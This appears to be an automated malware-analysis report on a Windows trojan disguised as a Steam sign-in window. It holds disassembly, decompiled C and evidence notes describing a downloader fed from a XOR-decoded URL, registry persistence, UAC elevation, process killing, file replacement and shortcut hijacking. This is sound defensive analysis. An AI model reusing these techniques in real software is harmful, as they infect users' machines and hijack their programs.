140008405	48 8d 15 ec 1b 02 00	LEA RDX,[u_*.lnk_140029ff8]	; "*.lnk"
14000840c	48 8d 4d 8c	LEA RCX,[RBP + -0x74]
140008410	ff 15 da 6f 01 00	CALL qword ptr [PTR_PathMatchSpecW_14001f3f0]
140008416	85 c0	TEST EAX,EAX
140008418	74 21	JZ LAB_14000843b
14000841a	4c 8d 8d d0 06 00 00	LEA R9,[RBP + 0x6d0]
140008421	4c 8d 85 00 0d 00 00	LEA R8,[RBP + 0xd00]
140008428	48 8d 95 d0 06 00 00	LEA RDX,[RBP + 0x6d0]
14000842f	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
140008436	e8 35 ee ff ff	CALL FUN_140007270	; FUN_140007270: CoCreateInstance, PathFindFileNameW
LAB_14000843b:
14000843b	48 8d 54 24 60	LEA RDX,[RSP + 0x60]
140008440	48 8b cb	MOV RCX,RBX
140008443	ff 15 87 6d 01 00	CALL qword ptr [PTR_FindNextFileW_14001f1d0]
140008449	85 c0	TEST EAX,EAX
14000844b	0f 85 4f ff ff ff	JNZ LAB_1400083a0
140008451	48 8b cb	MOV RCX,RBX
140008454	ff 15 a6 6d 01 00	CALL qword ptr [PTR_FindClose_14001f200]
LAB_14000845a:
14000845a	4c 8d 85 f0 0a 00 00	LEA R8,[RBP + 0xaf0]
140008461	ba 04 01 00 00	MOV EDX,0x104
140008466	48 8d 8d c0 04 00 00	LEA RCX,[RBP + 0x4c0]
14000846d	e8 56 8d 00 00	CALL wcscpy_s
140008472	4c 8d 05 77 1c 02 00	LEA R8,[u_\Microsoft\Internet_Explorer\Qui_14002a0f0]	; "\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts"
140008479	ba 04 01 00 00	MOV EDX,0x104
14000847e	48 8d 8d c0 04 00 00	LEA RCX,[RBP + 0x4c0]
140008485	e8 a6 8d 00 00	CALL FUN_140011230	; FUN_140011230: GetLastError, SetLastError
14000848a	66 44 39 b5 c0 04 00 00	CMP word ptr [RBP + local_e98],R14W
140008492	0f 84 02 01 00 00	JZ LAB_14000859a
140008498	4c 8d 8d c0 04 00 00	LEA R9,[RBP + 0x4c0]
14000849f	ba 04 01 00 00	MOV EDX,0x104
1400084a4	4c 8d 05 2d 1b 02 00	LEA R8,[u_%s\*_140029fd8]	; "%s\\*"
1400084ab	48 8d 8d b0 01 00 00	LEA RCX,[RBP + 0x1b0]
1400084b2	e8 a9 ba ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
1400084b7	48 8d 54 24 60	LEA RDX,[RSP + 0x60]
1400084bc	48 8d 8d b0 01 00 00	LEA RCX,[RBP + 0x1b0]
1400084c3	ff 15 f7 6c 01 00	CALL qword ptr [PTR_FindFirstFileW_14001f1c0]
1400084c9	48 8b d8	MOV RBX,RAX
1400084cc	48 83 f8 ff	CMP RAX,-0x1
1400084d0	0f 84 c4 00 00 00	JZ LAB_14000859a
1400084d6	66 66 0f 1f 84 00 00 00 …	NOP dword ptr [RAX + RAX*0x1]
LAB_1400084e0:
1400084e0	66 83 7d 8c 2e	CMP word ptr [RBP + local_13cc],0x2e
1400084e5	0f 84 90 00 00 00	JZ LAB_14000857b
1400084eb	48 8d 45 8c	LEA RAX,[RBP + -0x74]
1400084ef	ba 04 01 00 00	MOV EDX,0x104
1400084f4	4c 8d 8d c0 04 00 00	LEA R9,[RBP + 0x4c0]
1400084fb	48 89 44 24 20	MOV qword ptr [RSP + local_1438],RAX
140008500	4c 8d 05 e1 1a 02 00	LEA R8,[u_%s\%s_140029fe8]	; "%s\\%s"
140008507	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
14000850e	e8 4d ba ff ff	CALL FUN_140003f60	; FUN_140003f60: GetLastError, SetLastError
140008513	f6 44 24 60 10	TEST byte ptr [RSP + local_13f8],0x10
140008518	74 2b	JZ LAB_140008545
14000851a	4c 8d 8d d0 06 00 00	LEA R9,[RBP + 0x6d0]
140008521	c7 44 24 20 01 00 00 00	MOV dword ptr [RSP + local_1438],0x1
140008529	4c 8d 85 00 0d 00 00	LEA R8,[RBP + 0xd00]
140008530	48 8d 95 d0 06 00 00	LEA RDX,[RBP + 0x6d0]
140008537	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
14000853e	e8 dd ef ff ff	CALL FUN_140007520	; FUN_140007520: FindFirstFileW, FindNextFileW, FindClose, PathMatchSpecW
140008543	eb 36	JMP LAB_14000857b
LAB_140008545:
140008545	48 8d 15 ac 1a 02 00	LEA RDX,[u_*.lnk_140029ff8]	; "*.lnk"
14000854c	48 8d 4d 8c	LEA RCX,[RBP + -0x74]
140008550	ff 15 9a 6e 01 00	CALL qword ptr [PTR_PathMatchSpecW_14001f3f0]
140008556	85 c0	TEST EAX,EAX
140008558	74 21	JZ LAB_14000857b
14000855a	4c 8d 8d d0 06 00 00	LEA R9,[RBP + 0x6d0]
140008561	4c 8d 85 00 0d 00 00	LEA R8,[RBP + 0xd00]
140008568	48 8d 95 d0 06 00 00	LEA RDX,[RBP + 0x6d0]
14000856f	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
140008576	e8 f5 ec ff ff	CALL FUN_140007270	; FUN_140007270: CoCreateInstance, PathFindFileNameW
LAB_14000857b:
14000857b	48 8d 54 24 60	LEA RDX,[RSP + 0x60]
140008580	48 8b cb	MOV RCX,RBX
140008583	ff 15 47 6c 01 00	CALL qword ptr [PTR_FindNextFileW_14001f1d0]
140008589	85 c0	TEST EAX,EAX
14000858b	0f 85 4f ff ff ff	JNZ LAB_1400084e0
140008591	48 8b cb	MOV RCX,RBX
140008594	ff 15 66 6c 01 00	CALL qword ptr [PTR_FindClose_14001f200]
LAB_14000859a:
14000859a	45 85 ff	TEST R15D,R15D
14000859d	75 66	JNZ LAB_140008605
14000859f	85 f6	TEST ESI,ESI
1400085a1	75 5e	JNZ LAB_140008601
1400085a3	45 33 c9	XOR R9D,R9D
1400085a6	4c 8d 85 e0 08 00 00	LEA R8,[RBP + 0x8e0]
1400085ad	ba 04 01 00 00	MOV EDX,0x104
1400085b2	48 8d 8d 10 0f 00 00	LEA RCX,[RBP + 0xf10]
1400085b9	ff 15 09 6c 01 00	CALL qword ptr [PTR_GetFullPathNameW_14001f1c8]
1400085bf	85 c0	TEST EAX,EAX
1400085c1	74 3e	JZ LAB_140008601
1400085c3	45 33 c9	XOR R9D,R9D
1400085c6	4c 8d 85 b0 01 00 00	LEA R8,[RBP + 0x1b0]
1400085cd	ba 04 01 00 00	MOV EDX,0x104
1400085d2	48 8d 8d d0 06 00 00	LEA RCX,[RBP + 0x6d0]
1400085d9	ff 15 e9 6b 01 00	CALL qword ptr [PTR_GetFullPathNameW_14001f1c8]
1400085df	85 c0	TEST EAX,EAX
1400085e1	74 1e	JZ LAB_140008601
1400085e3	48 8d 95 b0 01 00 00	LEA RDX,[RBP + 0x1b0]
1400085ea	48 8d 8d e0 08 00 00	LEA RCX,[RBP + 0x8e0]
1400085f1	e8 56 8a 00 00	CALL FID_conflict:_wcsicoll
1400085f6	85 c0	TEST EAX,EAX
1400085f8	41 0f 94 c6	SETZ R14B
1400085fc	41 8b c6	MOV EAX,R14D
1400085ff	eb 09	JMP LAB_14000860a
LAB_140008601:
140008601	33 c0	XOR EAX,EAX
140008603	eb 05	JMP LAB_14000860a
LAB_140008605:
140008605	b8 01 00 00 00	MOV EAX,0x1
LAB_14000860a:
14000860a	48 8b b4 24 68 14 00 00	MOV RSI,qword ptr [RSP + local_res10]
140008612	48 8b 9c 24 60 14 00 00	MOV RBX,qword ptr [RSP + local_res8]
14000861a	48 8b 8d 30 13 00 00	MOV RCX,qword ptr [RBP + local_28]
140008621	48 33 cc	XOR RCX,RSP
140008624	e8 07 03 00 00	CALL __security_check_cookie

winMain

0x140008650690 bytes

undefined FUN_140008650(HINSTANCE param_1)

WinMain: creates a lure GUI window with Steam icon and enters the message pump

Cited as: E8
Behaviours: B7
Called from: __scrt_common_main_seh
Calls: CoUninitialize CoInitializeEx ExtractIconW DwmSetWindowAttribute GetSystemMetrics RegisterClassExW ShowWindow CreateWindowExW SetTimer TranslateMessage LoadCursorW SetProcessDPIAware UpdateWindow GetMessageW DispatchMessageW GetFileAttributesW GetProcAddress GetModuleHandleW FUN_140005a60, FUN_140006170, FUN_140007950, __security_check_cookie

Decompiled C · 99 lines

/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140008650(HINSTANCE param_1)

{
  int iVar1;
  DWORD DVar2;
  int iVar3;
  HMODULE hModule;
  HCURSOR pHVar4;
  HICON pHVar5;
  undefined1 auStackY_338 [32];
  undefined4 local_2d8 [4];
  WNDCLASSEXW local_2c8;
  tagMSG local_278;
  undefined4 local_248;
  undefined4 local_244;
  undefined2 local_240;
  WCHAR local_228 [264];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_338;
  SetProcessDPIAware();
  CoInitializeEx((LPVOID)0x0,2);
  DAT_14002ffb8 = (FARPROC)0x0;
  DAT_14002ffc0 = (FARPROC)0x0;
  hModule = GetModuleHandleW(L"kernel32.dll");
  if (hModule != (HMODULE)0x0) {
    local_248 = 0x79706f43;
    local_244 = 0x656c6946;
    local_240 = 0x57;
    DAT_14002ffb8 = GetProcAddress(hModule,(LPCSTR)&local_248);
    local_248 = 0x65766f4d;
    local_244 = 0x656c6946;
    local_240 = 0x57;
    DAT_14002ffc0 = GetProcAddress(hModule,(LPCSTR)&local_248);
  }
  iVar1 = FUN_140007950();
  if (iVar1 == 0) {
    CoUninitialize();
  }
  else {
    local_2c8.cbSize = 0x50;
    local_2c8.lpszClassName._4_4_ = 0;
    local_2c8.hIconSm._0_4_ = 0;
    local_2c8.hIconSm._4_4_ = 0;
    local_2c8.style = 0;
    local_2c8.cbClsExtra = 0;
    local_2c8.lpfnWndProc._0_4_ = 0x40005ae0;
    local_2c8.lpfnWndProc._4_4_ = 1;
    local_2c8.cbWndExtra = 0;
    local_2c8.hIcon._0_4_ = 0;
    local_2c8.hIcon._4_4_ = 0;
    local_2c8.hCursor._0_4_ = 0;
    local_2c8.hCursor._4_4_ = 0;
    local_2c8.hbrBackground._0_4_ = 0;
    local_2c8._52_8_ = 0;
    local_2c8.lpszMenuName._4_4_ = 0;
    local_2c8.lpszClassName._0_4_ = 0;
    local_2c8.hInstance = param_1;
    pHVar4 = LoadCursorW((HINSTANCE)0x0,(LPCWSTR)0x7f00);
    local_2c8.hCursor._0_4_ = SUB84(pHVar4,0);
    local_2c8.hCursor._4_4_ = (undefined4)((ulonglong)pHVar4 >> 0x20);
    local_2c8.lpszClassName._0_4_ = 0x4002a260;
    local_2c8.lpszClassName._4_4_ = 1;
    iVar1 = FUN_140006170(local_228);
    if ((iVar1 != 0) && (local_228[0] != L'\0')) {
      DVar2 = GetFileAttributesW(local_228);
      if (DVar2 != 0xffffffff) {
        pHVar5 = ExtractIconW(param_1,local_228,0);
        local_2c8.hIcon._0_4_ = SUB84(pHVar5,0);
        local_2c8.hIcon._4_4_ = (undefined4)((ulonglong)pHVar5 >> 0x20);
      }
    }
    RegisterClassExW(&local_2c8);
    iVar1 = GetSystemMetrics(0);
    iVar3 = GetSystemMetrics(1);
    DAT_14002ffc8 =
         CreateWindowExW(0x40000,L"SteamClientWnd",L"Sign in to Steam",0x80000000,(iVar1 + -700) / 2
                         ,(iVar3 + -0x1bc) / 2,700,0x1bc,(HWND)0x0,(HMENU)0x0,param_1,(LPVOID)0x0);
    if (DAT_14002ffc8 != (HWND)0x0) {
      local_2d8[0] = 2;
      DwmSetWindowAttribute(DAT_14002ffc8,0x21,local_2d8,4);
      FUN_140005a60(DAT_14002ffc8);
      ShowWindow(DAT_14002ffc8,5);
      UpdateWindow(DAT_14002ffc8);
      SetTimer(DAT_14002ffc8,1,0x32,(TIMERPROC)0x0);
      iVar1 = GetMessageW(&local_278,(HWND)0x0,0,0);
      while (iVar1 != 0) {
        TranslateMessage(&local_278);
        DispatchMessageW(&local_278);
        iVar1 = GetMessageW(&local_278,(HWND)0x0,0,0);
      }
      CoUninitialize();
    }
  }
}

Assembly · 151 instructions, 8 annotated

Address	Bytes	Instruction	Comment
140008650	48 89 5c 24 18	MOV qword ptr [RSP + local_res18],RBX
140008655	48 89 7c 24 20	MOV qword ptr [RSP + local_res20],RDI
14000865a	55	PUSH RBP
14000865b	48 8d ac 24 d0 fd ff ff	LEA RBP,[RSP + -0x230]
140008663	48 81 ec 30 03 00 00	SUB RSP,0x330
14000866a	48 8b 05 cf 59 02 00	MOV RAX,qword ptr [DAT_14002e040]
140008671	48 33 c4	XOR RAX,RSP
140008674	48 89 85 20 02 00 00	MOV qword ptr [RBP + local_18],RAX
14000867b	48 8b f9	MOV RDI,RCX
14000867e	ff 15 fc 6d 01 00	CALL qword ptr [PTR_SetProcessDPIAware_14001f480]
140008684	ba 02 00 00 00	MOV EDX,0x2
140008689	33 c9	XOR ECX,ECX
14000868b	ff 15 87 6e 01 00	CALL qword ptr [PTR_CoInitializeEx_14001f518]
140008691	0f 57 c0	XORPS XMM0,XMM0
140008694	48 8d 0d b5 00 02 00	LEA RCX,[u_kernel32.dll_140028750]	; "kernel32.dll"
14000869b	0f 11 05 16 79 02 00	MOVUPS xmmword ptr [DAT_14002ffb8],XMM0
1400086a2	ff 15 e8 6b 01 00	CALL qword ptr [PTR_GetModuleHandleW_14001f290]
1400086a8	48 8b d8	MOV RBX,RAX
1400086ab	48 85 c0	TEST RAX,RAX
1400086ae	74 50	JZ LAB_140008700
1400086b0	48 8d 55 f0	LEA RDX,[RBP + -0x10]
1400086b4	c7 45 f0 43 6f 70 79	MOV dword ptr [RBP + local_248],0x79706f43
1400086bb	48 8b c8	MOV RCX,RAX
1400086be	c7 45 f4 46 69 6c 65	MOV dword ptr [RBP + local_244],0x656c6946
1400086c5	66 c7 45 f8 57 00	MOV word ptr [RBP + local_240],0x57
1400086cb	ff 15 a7 6b 01 00	CALL qword ptr [PTR_GetProcAddress_14001f278]
1400086d1	48 8d 55 f0	LEA RDX,[RBP + -0x10]
1400086d5	c7 45 f0 4d 6f 76 65	MOV dword ptr [RBP + local_248],0x65766f4d
1400086dc	48 8b cb	MOV RCX,RBX
1400086df	48 89 05 d2 78 02 00	MOV qword ptr [DAT_14002ffb8],RAX
1400086e6	c7 45 f4 46 69 6c 65	MOV dword ptr [RBP + local_244],0x656c6946
1400086ed	66 c7 45 f8 57 00	MOV word ptr [RBP + local_240],0x57
1400086f3	ff 15 7f 6b 01 00	CALL qword ptr [PTR_GetProcAddress_14001f278]
1400086f9	48 89 05 c0 78 02 00	MOV qword ptr [DAT_14002ffc0],RAX
LAB_140008700:
140008700	e8 4b f2 ff ff	CALL FUN_140007950	; FUN_140007950: GetModuleFileNameW, ExpandEnvironmentStringsW, PathRemoveFileSpecW, SHCreateDirectoryExW +20
140008705	85 c0	TEST EAX,EAX
140008707	75 0d	JNZ LAB_140008716
140008709	ff 15 f9 6d 01 00	CALL qword ptr [PTR_CoUninitialize_14001f508]
14000870f	33 c0	XOR EAX,EAX
140008711	e9 dd 01 00 00	JMP LAB_1400088f3
LAB_140008716:
140008716	0f 57 c0	XORPS XMM0,XMM0
LAB_140008719:
140008719	48 89 b4 24 48 03 00 00	MOV qword ptr [RSP + local_res10],RSI
140008721	33 c0	XOR EAX,EAX
140008723	c7 44 24 70 50 00 00 00	MOV dword ptr [RSP + local_2c8],0x50
14000872b	48 89 45 b4	MOV qword ptr [RBP + local_294[16]],RAX
14000872f	ba 00 7f 00 00	MOV EDX,0x7f00
140008734	89 45 bc	MOV dword ptr [RBP + local_27c],EAX
140008737	33 c9	XOR ECX,ECX
140008739	48 8d 05 a0 d3 ff ff	LEA RAX,[FUN_140005ae0]
140008740	0f 11 44 24 74	MOVUPS xmmword ptr [RSP + local_2c4[0]],XMM0
140008745	48 89 44 24 78	MOV qword ptr [RSP + local_2c4[4]],RAX
14000874a	0f 11 45 84	MOVUPS xmmword ptr [RBP + local_2b4[0]],XMM0
14000874e	48 89 7d 88	MOV qword ptr [RBP + local_2b4[4]],RDI
140008752	0f 11 45 94	MOVUPS xmmword ptr [RBP + local_2b4[16]],XMM0
140008756	0f 11 45 a4	MOVUPS xmmword ptr [RBP + local_294[0]],XMM0
14000875a	ff 15 00 6d 01 00	CALL qword ptr [PTR_LoadCursorW_14001f460]
140008760	48 8d 35 f9 1a 02 00	LEA RSI,[u_SteamClientWnd_14002a260]	; "SteamClientWnd"
140008767	48 89 45 98	MOV qword ptr [RBP + Stack[-0x2a0]],RAX
14000876b	48 8d 4d 10	LEA RCX,[RBP + 0x10]
14000876f	48 89 75 b0	MOV qword ptr [RBP + local_294[12]],RSI	; "SteamClientWnd"
140008773	e8 f8 d9 ff ff	CALL FUN_140006170	; FUN_140006170: RegOpenKeyExW, RegQueryValueExW, RegCloseKey, GetFullPathNameW +2
140008778	85 c0	TEST EAX,EAX
14000877a	74 2a	JZ LAB_1400087a6
14000877c	66 83 7d 10 00	CMP word ptr [RBP + local_228],0x0
140008781	74 23	JZ LAB_1400087a6
140008783	48 8d 4d 10	LEA RCX,[RBP + 0x10]
140008787	ff 15 8b 6a 01 00	CALL qword ptr [PTR_GetFileAttributesW_14001f218]
14000878d	83 f8 ff	CMP EAX,-0x1
140008790	74 14	JZ LAB_1400087a6
140008792	45 33 c0	XOR R8D,R8D
140008795	48 8d 55 10	LEA RDX,[RBP + 0x10]
140008799	48 8b cf	MOV RCX,RDI
14000879c	ff 15 26 6c 01 00	CALL qword ptr [PTR_ExtractIconW_14001f3c8]
1400087a2	48 89 45 90	MOV qword ptr [RBP + local_2b4[12]],RAX
LAB_1400087a6:
1400087a6	48 8d 4c 24 70	LEA RCX,[RSP + 0x70]
1400087ab	ff 15 87 6c 01 00	CALL qword ptr [PTR_RegisterClassExW_14001f438]
1400087b1	33 c9	XOR ECX,ECX
1400087b3	ff 15 6f 6c 01 00	CALL qword ptr [PTR_GetSystemMetrics_14001f428]
1400087b9	2d bc 02 00 00	SUB EAX,0x2bc
1400087be	b9 01 00 00 00	MOV ECX,0x1
1400087c3	99	CDQ
1400087c4	2b c2	SUB EAX,EDX
1400087c6	d1 f8	SAR EAX,0x1
1400087c8	8b d8	MOV EBX,EAX
1400087ca	ff 15 58 6c 01 00	CALL qword ptr [PTR_GetSystemMetrics_14001f428]
1400087d0	33 c9	XOR ECX,ECX
1400087d2	4c 8d 05 7f 0d 02 00	LEA R8,[u_Sign_in_to_Steam_140029558]	; "Sign in to Steam"
1400087d9	48 89 4c 24 58	MOV qword ptr [RSP + local_2e0],RCX
1400087de	2d bc 01 00 00	SUB EAX,0x1bc
1400087e3	48 89 7c 24 50	MOV qword ptr [RSP + local_2e8],RDI
1400087e8	99	CDQ
1400087e9	48 89 4c 24 48	MOV qword ptr [RSP + local_2f0],RCX
1400087ee	2b c2	SUB EAX,EDX
1400087f0	48 89 4c 24 40	MOV qword ptr [RSP + local_2f8],RCX
1400087f5	41 b9 00 00 00 80	MOV R9D,0x80000000
1400087fb	c7 44 24 38 bc 01 00 00	MOV dword ptr [RSP + local_300],0x1bc
140008803	48 8b d6	MOV RDX,RSI	; "SteamClientWnd"
140008806	d1 f8	SAR EAX,0x1
140008808	b9 00 00 04 00	MOV ECX,0x40000
14000880d	c7 44 24 30 bc 02 00 00	MOV dword ptr [RSP + local_308],0x2bc
140008815	89 44 24 28	MOV dword ptr [RSP + local_310],EAX
140008819	89 5c 24 20	MOV dword ptr [RSP + local_318],EBX
14000881d	ff 15 25 6c 01 00	CALL qword ptr [PTR_CreateWindowExW_14001f448]
140008823	48 8b b4 24 48 03 00 00	MOV RSI,qword ptr [RSP + local_res10]
14000882b	48 89 05 96 77 02 00	MOV qword ptr [DAT_14002ffc8],RAX
140008832	48 85 c0	TEST RAX,RAX
140008835	75 0a	JNZ LAB_140008841
LAB_140008837:
140008837	b8 01 00 00 00	MOV EAX,0x1
14000883c	e9 b2 00 00 00	JMP LAB_1400088f3
LAB_140008841:
140008841	41 b9 04 00 00 00	MOV R9D,0x4
140008847	c7 44 24 60 02 00 00 00	MOV dword ptr [RSP + local_2d8],0x2
14000884f	4c 8d 44 24 60	LEA R8,[RSP + 0x60]
140008854	ba 21 00 00 00	MOV EDX,0x21
140008859	48 8b c8	MOV RCX,RAX
14000885c	ff 15 86 6c 01 00	CALL qword ptr [PTR_DwmSetWindowAttribute_14001f4e8]
140008862	48 8b 0d 5f 77 02 00	MOV RCX,qword ptr [DAT_14002ffc8]
140008869	e8 f2 d1 ff ff	CALL FUN_140005a60	; FUN_140005a60: GetWindowRect, CreateRoundRectRgn, SetWindowRgn
14000886e	48 8b 0d 53 77 02 00	MOV RCX,qword ptr [DAT_14002ffc8]
140008875	ba 05 00 00 00	MOV EDX,0x5
14000887a	ff 15 c0 6b 01 00	CALL qword ptr [PTR_ShowWindow_14001f440]
140008880	48 8b 0d 41 77 02 00	MOV RCX,qword ptr [DAT_14002ffc8]
140008887	ff 15 fb 6b 01 00	CALL qword ptr [PTR_UpdateWindow_14001f488]
14000888d	48 8b 0d 34 77 02 00	MOV RCX,qword ptr [DAT_14002ffc8]
140008894	45 33 c9	XOR R9D,R9D
140008897	ba 01 00 00 00	MOV EDX,0x1
14000889c	41 b8 32 00 00 00	MOV R8D,0x32
1400088a2	ff 15 a8 6b 01 00	CALL qword ptr [PTR_SetTimer_14001f450]
1400088a8	45 33 c9	XOR R9D,R9D
1400088ab	48 8d 4d c0	LEA RCX,[RBP + -0x40]
1400088af	45 33 c0	XOR R8D,R8D
1400088b2	33 d2	XOR EDX,EDX
1400088b4	ff 15 0e 6c 01 00	CALL qword ptr [PTR_GetMessageW_14001f4c8]
1400088ba	85 c0	TEST EAX,EAX
1400088bc	74 2c	JZ LAB_1400088ea
1400088be	66 90	NOP
LAB_1400088c0:
1400088c0	48 8d 4d c0	LEA RCX,[RBP + -0x40]
1400088c4	ff 15 8e 6b 01 00	CALL qword ptr [PTR_TranslateMessage_14001f458]
1400088ca	48 8d 4d c0	LEA RCX,[RBP + -0x40]
1400088ce	ff 15 04 6c 01 00	CALL qword ptr [PTR_DispatchMessageW_14001f4d8]
1400088d4	45 33 c9	XOR R9D,R9D
1400088d7	48 8d 4d c0	LEA RCX,[RBP + -0x40]
1400088db	45 33 c0	XOR R8D,R8D
1400088de	33 d2	XOR EDX,EDX
1400088e0	ff 15 e2 6b 01 00	CALL qword ptr [PTR_GetMessageW_14001f4c8]
1400088e6	85 c0	TEST EAX,EAX
1400088e8	75 d6	JNZ LAB_1400088c0
LAB_1400088ea:
1400088ea	ff 15 18 6c 01 00	CALL qword ptr [PTR_CoUninitialize_14001f508]
1400088f0	8b 45 d0	MOV EAX,dword ptr [RBP + local_268]
LAB_1400088f3:
1400088f3	48 8b 8d 20 02 00 00	MOV RCX,qword ptr [RBP + local_18]
1400088fa	48 33 cc	XOR RCX,RSP
1400088fd	e8 2e 00 00 00	CALL __security_check_cookie

Cited addresses with no code to decompile: 0x14002a2e0 (not executable (.rdata))

Evidence 20

Every claim in this report rests on one of these items: what was examined, where, how (read from the file, decoded by the analysis, or reported by a tool), and what it shows. "Checked: not present" marks something the analysis looked for and did not find.

Filter

read from the file·function

0x140005750

Downloads a file via URLDownloadToFileW to temp directory from a XOR-decoded URL

in downloads a file from a XOR-decoded URL…

bytes sha256 8c720a6d2537ab8a904e1651b1848c7e364a8479458904859f19a2ca5675f4c7

read from the file·function

0x140006170

Queries Steam install path from HKLM\SOFTWARE\WOW6432Node\Valve\Steam and per-user uninstall keys

in resolves the Steam install path by…

bytes sha256 8ac41cd3222eb2490a435c5b0046999184d65171bd889a303e664268e70ac6b4

read from the file·function

0x140005f00

Opens per-user uninstall registry keys with RegOpenKeyExW and reads the install path with RegQueryValueExW

in reads per-user uninstall registry…

bytes sha256 77a77d594bb0aa3cf296873aa3b35a21a9cae5bfa26f9c82a5f5cb820ff6d26f

read from the file·function

0x140006d70

Creates registry persistence entries under HKCU and HKLM with XOR-decoded key names and random sleep

in sets up registry persistence under HKCU…

bytes sha256 da9d91a1de04ae571c0d5fd3c865cb6c56c86e5628828b10b38460649c8f2edd

read from the file·function

0x1400064c0

Enumerates running processes with CreateToolhelp32Snapshot and sends WM_CLOSE via PostMessageW to matches

in enumerates processes via…

bytes sha256 ca94cac8a3004516dc772fc404e98a6b64305afeec9edc573569104af768cd43

read from the file·function

0x140007950

Main installer: copies self to Steam directory, elevates via UAC, stops service, kills processes, replaces files

in the main installer

bytes sha256 0c8e5baf0d2dd35d52f29795be0337a09344660edb8cc24cf64fb5bf17cbc2ce

read from the file·function

0x140007520

Recursively searches directories to depth 9 matching files with PathMatchSpecW

in recursively searches directories to…

bytes sha256 cca40b3fafab7ab41034294a40276e66c7a30d716f906b304587c66d4ea51c9c

read from the file·function

0x140008650

WinMain creates a 700x500 layered window with Steam icon via ExtractIconW and enters the message pump

in winMain

bytes sha256 895c5b9afb31739a8d8adf0183b01d7e5019695ff56cea91d27616730218f7ba

read from the file·function

0x140004c50

Parses URL navigation events from the lure window and launches them with ShellExecuteW

in handles URL navigation events from the…

bytes sha256 35a3da9ae96d981dac0cac224aa1ee074a452ee72c6506f6436511a205efc482

E10

read from the file·function

0x140007680

Replaces target files using dynamically resolved CopyFileW and MoveFileW with prior deletion

in replaces files using dynamically…

bytes sha256 52885e1451289c0670b42b89cddd18f87aedbb49fc4c7d4802774264e282177b

E11

read from the file·address range

0x14002a2e0

XOR decode uses a DWORD key at DAT_14002a510 applied against a 560-byte data block starting at 0x14002a2e0 with a 0x5a5a short-XOR tail

Bytes · 560 at 0x14002a2e0

14002a2e0  32 5a 2e 5a 2e 5a 2a 5a 29 5a 60 5a 75 5a 75 5a  2Z.Z.Z*Z)Z`ZuZuZ
14002a2f0  3d 5a 35 5a 74 5a 37 5a 33 5a 39 5a 28 5a 35 5a  =Z5ZtZ7Z3Z9Z(Z5Z
14002a300  29 5a 35 5a 3c 5a 2e 5a 74 5a 39 5a 35 5a 37 5a  )Z5Z<Z.ZtZ9Z5Z7Z
14002a310  75 5a 3c 5a 2d 5a 36 5a 33 5a 34 5a 31 5a 75 5a  uZ<Z-Z6Z3Z4Z1ZuZ
14002a320  2a 5a 75 5a 65 5a 16 5a 33 5a 34 5a 31 5a 13 5a  *ZuZeZ.Z3Z4Z1Z.Z
14002a330  3e 5a 67 5a 68 5a 6b 5a 68 5a 6e 5a 6d 5a 6a 5a  >ZgZhZkZhZnZmZjZ
14002a340  69 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00  iZ..............
14002a350  d0 9a 02 40 01 00 00 00 18 9b 02 40 01 00 00 00  ...@.......@....
… cut at 128 of 560 bytes

bytes sha256 615c048e0527572e51a240d3186628c6e2dbf7e89cdb059efd2d3aed7995a2ea

E12

read from the file·function

0x140005e80

Checks admin privileges via OpenProcessToken and GetTokenInformation for TokenElevation

in checks admin privileges via…

bytes sha256 7c1dea77374698b4cd43f496f39f185edc5d7d14d08e9c3260dab2d0da59574b

E13

read from the file·function

0x140007950

Calls OpenSCManager and ControlService to stop a service before file replacement

in the main installer

bytes sha256 0c8e5baf0d2dd35d52f29795be0337a09344660edb8cc24cf64fb5bf17cbc2ce

E14

read from the file·function

0x140007950

Scans 6 folders (Desktop, Programs, etc.) for shortcut files and replaces them to hijack execution

in the main installer

bytes sha256 0c8e5baf0d2dd35d52f29795be0337a09344660edb8cc24cf64fb5bf17cbc2ce

E15

read from the file·file header

rich

Rich header present indicating VS2019 Release x64 build tools

E16

read from the file·metadata

version_info

VersionInfo resource present with CompanyName (17 chars) and InternalName (95 chars) fields

E17

read from the file·function

0x140005ae0

WndProc handles WM_TIMER id 1 by killing the timer and calling the downloader at 0x140005750; handles WM_DESTROY with COM release and PostQuitMessage; handles WM_SIZE with rounded-region resize

in wndProc

bytes sha256 bbe618ccde534f768a52a111b200abf8d65e6a26050956b60b73837b33c329fe

E18

read from the file·function

0x140007270

Uses IShellLink COM to load shortcut files, compares target filename via wcsicoll, then replaces target path, arguments and icon on matching shortcuts

in hijacks shortcut files via IShellLink…

bytes sha256 5e287a0863b3c31f5d08f4ac637f9c897d8af6b04eb153f4f7a7327ceb31cf1c

E19

read from the file·function

0x140005a60

Creates a rounded rectangle window region with 12px corner radius via CreateRoundRectRgn and SetWindowRgn

in creates rounded rectangle window region…

bytes sha256 a86eb0807f63a6dd61467cbf8306bed1ef2bf0aafdacbe17afef6d0f774c18ec

E20

read from the file·function

0x140007150

Extension normalizer: copies path to buffer with case conversion, checks if suffix matches expected extension, appends it if missing

in extension normalizer

bytes sha256 1135dac21b4068cb1c8ad0c302da9428d5eb248cd54f4f931a5f7e982442d7dc

Run details

Run

model claude-opus-4-6effort mediumduration s 39 min 43 stokens 269,202tool uses 341

Produced with

skills

research-analysis: 2026-10-28-1
research-corpus: 2026-10-28-1
research-ledger: 2026-10-28-1

tools

triage: 2026-10-28-1
capa: 7.4.0
floss: 3.1.1
ghidra: 12.1.4

snapshot taken at

2026-10-28T00:00Z

Other sections of the report

Report keys this renderer has no special layout for, shown as written.

created · 2026-10-29T03:23Z

2026-10-29T03:23Z

reachability · 4 items

file	graph	internal	reached	unreached	unreached status
Original	native_callgraph	632	357	275	possibly_reached
L0 · roots entry 1
Original	native_callgraph.dispatch	632	390	242	possibly_reached
L0 · roots entry 1
Original	ghidra_callgraph	632	357	275	possibly_reached
L0 · roots entry 1
Original	union	632	390	242	possibly_reached
L0 · roots entry 1

limits · 1 items

file

roots searched

library filters

unresolved in reached code

passes run

not claimed

Original

entry

ghidra_fidcapa_library

XOR-decoded runtime strings not recovered statically (U1). RCDATA resources not decoded (U4). 242 functions unreached with 25 unresolved call sites in reached code.

